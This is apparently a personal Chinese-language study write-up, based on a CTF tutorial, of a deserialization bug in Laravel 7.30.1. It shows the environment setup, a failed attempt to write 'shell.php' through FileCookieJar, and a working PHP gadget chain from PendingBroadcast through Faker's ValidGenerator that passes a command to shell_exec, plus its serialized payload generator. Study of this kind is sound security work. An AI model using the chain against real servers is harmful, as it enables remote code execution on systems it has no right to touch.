laravel相关知识学习

这里就是旧瓶装舅舅 为面试做准备 所以要来过一遍框架

larabel7.30.1反序列化

这部分先照着ctfshow上的教程去过一遍 然后再自己去研究研究

环境搭建

1
composer create-project  laravel/laravel www --prefer-dist "7.30.1"

然后phpstudy搭建的时候有个bug 艹 浪费我两小时

.htaccess 是空的

你加上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<IfModule mod_rewrite.c>
<IfModule mod_negotiation.c>
Options -MultiViews -Indexes
</IfModule>

RewriteEngine On

# Handle Authorization Header
RewriteCond %{HTTP:Authorization} .
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]

# Redirect Trailing Slashes If Not A Folder...
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} (.+)/$
RewriteRule ^ %1 [L,R=301]

# Handle Front Controller...
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [L]
</IfModule>

然后把跟路径设为 /public 即可

入口点设置

随便开个路由即可 看看文档就回了

开始挖掘

一般会调用 __destruct() 方法

来复习一下(忘得差不多了都)

1
2
3
4
5
6
7
8
9
10
11
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

image-20220810231200665

然后一条一条去跟

突然发现 php执行的条件是没有报错?

还是说 反序列化执行顺序的问题??? 不懂

1.举个例子/first try

image-20220810234220329

这里要是 $jsonStr 可控 则可以写文件 但我们看到 如果想要能写 就必须要去满足上面这个shouldRersisit函数

跟进去看一下

image-20220810234401031

我们这时候发现 将bool $allowSessionCookies = false 设为 true 就可以pass第一个判断

然后我们发现这玩意是可控的

然后就是要去满足第二个判断

也就是 getDiscard() 怎么看他能不能过呢?

跟一下

image-20220810234719319

我们还要满足这个玩意

构造一下 放到 /test.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

namespace GuzzleHttp\Cookie;

class FileCookieJar{
private $filename;

public function __construct(){
$this ->filename='shell.php';
$this ->storeSessionCookies = true;
}
}

echo urlencode(serialize(new FileCookieJar()));
1
O%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A2%3A%7Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A19%3A%22storeSessionCookies%22%3Bb%3A1%3B%7D

然后我们去设断点调一下

结果进都没进循环 草

为什么 不懂

image-20220810235514679

image-20220810235726684

反正不管这么多 咱们可控的俩参数是没戏了

2.有点东西

发现一个有趣的东西

这里的 events event 都是可控的

这时候我们有两种思路

  1. 调用__call方法
  2. 直接找一个dispatch可控的

image-20220811001748141

1
__call() //在对象上下文中调用不可访问的方法时触发

如过我们调用一个 不存在 dispatch ( 他自己写的一个函数方法)的类时

我们就可以调用到 __call() 然后 我们还可以控制其参数

1
2
3
4
5
6
7
8
class a{
__call($method,$args){
method = fuck
args = array('dd')
}
}

a -> fuck('dd')

所以 接下来 我们去搜一下 __call 方法再已上面的为跳板 进行利用

image-20220811002517185

78个 希望大大滴有

tip => 要时刻关注是否被 __wakeup() ban掉了关键函数 和能不能绕过

一般是

PHP5 < 5.6.25

PHP7 < 7.0.10

对于一些老的网站 还在使用php5.6.25 则可以进行绕过

image-20220811012009044

发现一处 __call 这里 $arguments 可控 但是 $name不可控

如果 $res 可控的话 我们就可以rce了

然后来看上面这里

1
$res = call_user_func_array([$this->generator, $name], $arguments);

还是 $name 不可控 怎么才能执行命令呢?

image-20220811012257691

我们知道 如果调用了不可访问的方法时会触发 __call 所以这里我们再用一次 如果返回值可控 我们就完全可控了

image-20220811012740039

所以来构造 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

namespace Illuminate\Broadcasting;

use Faker\ValidGenerator;

class PendingBroadcast{
protected $events;
protected $event; //__call方法的参数

public function __construct(){
$this -> events = new ValidGenerator();
}

}


namespace Faker;

use Illuminate\Broadcasting\PendingBroadcast;

class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;

public function __construct(){
$this -> validator = 'shell_exec';
$this -> maxRetries = 3;
$this -> generator = new DefaultGenerator();
}
}

class DefaultGenerator
{
protected $default;
public function __construct(){
$this->default = 'calc';
}

}


echo urlencode(serialize(new PendingBroadcast()));

image-20220811014852792

NNNNNNBBBBBB

果然有点东西